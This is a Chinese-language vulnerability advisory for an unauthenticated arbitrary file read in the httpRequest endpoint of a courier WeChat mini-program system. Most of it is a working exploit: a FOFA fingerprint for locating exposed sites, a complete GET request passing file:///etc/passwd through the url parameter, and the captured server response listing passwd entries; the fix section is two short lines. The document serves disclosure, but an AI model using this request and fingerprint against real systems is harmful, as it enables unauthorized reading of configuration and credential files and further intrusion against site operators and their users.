

快递微信小程序系统 httpRequest 任意文件读取漏洞

漏洞描述

快递微信小程序系统 httpRequest 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

影响版本

快递微信小程序系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="static/default/newwap/lang/js/jquery.localize.min.js"

POC/EXP：

GET /weixin/index/httpRequest?url=file:///etc/passwd HTTP/2

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br, zstd

Connection: keep-alive

Request

<>数据包扫描热加载构造请求

1GET /weixin/index/httpRequest?url=file:///etc/passwd HTTP/2

2Host:

3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0

4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

5Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6Accept-Encoding: gzip, deflate, br, zstd

7Connection: keep-alive

Responseshttps1323bytes / 0ms美化渲染详情

9X-Data-Type,X-Requested-With,X-Data-Type,X-Auth-Token,X-API-Key,Merchant-Id,Device-Id,Device-Name,Width,Height,Os,Os-Version,Is-Root,Network,Wifi-Ssid,Wifi-Mac,Xyz,Version-Name,Api-Version,Channel,App-Name,Dpi,Api-Level,Operator,Idfa,Idfv,Open-Udid,Wlan-Ip,Time

9Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE

10Date: Fri, 01 Nov 2024 03:32:53 GMT

11Strict-Transport-Security: max-age=31536000

12Content-Length: 1323

13

14root:x:0:0:root:/root:/bin/bash

15bin:x:1:1:bin:/bin:/sbin/nologin

16daemon:x:2:2:daemon:/sbin:/sbin/nologin

17adm:x:3:4:adm:/var/adm:/sbin/nologin

18lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

19sync:x:5:0:sync:/sbin:/bin/sync

20shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

21halt:x:7:0:halt:/sbin:/sbin/halt

22mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

23operator:x:11:0:operator:/root:/sbin/nologin

24games:x:12:100:games:/usr/games:/sbin/nologin

25ftp:x:14:50:FTP-User:/var/ftp:/sbin/nologin

26nobody:x:99:99:Nobody:/:/sbin/nologin

27systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin

28dbus:x:81:81:system message bus:/:/sbin/nologin

29polkitd:x:999:998:User for polkitd:/:/sbin/nologin

30libstoragemgmt:x:998:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin

31rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin

32ntp:x:38:38:etc/ntp:/sbin/nologin

33abrt:x:173:173:etc/abrt:/sbin/nologin

34sshd:x:74:74:Privilege-separated SSH:/var/empty/ssh:/sbin/nologin

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本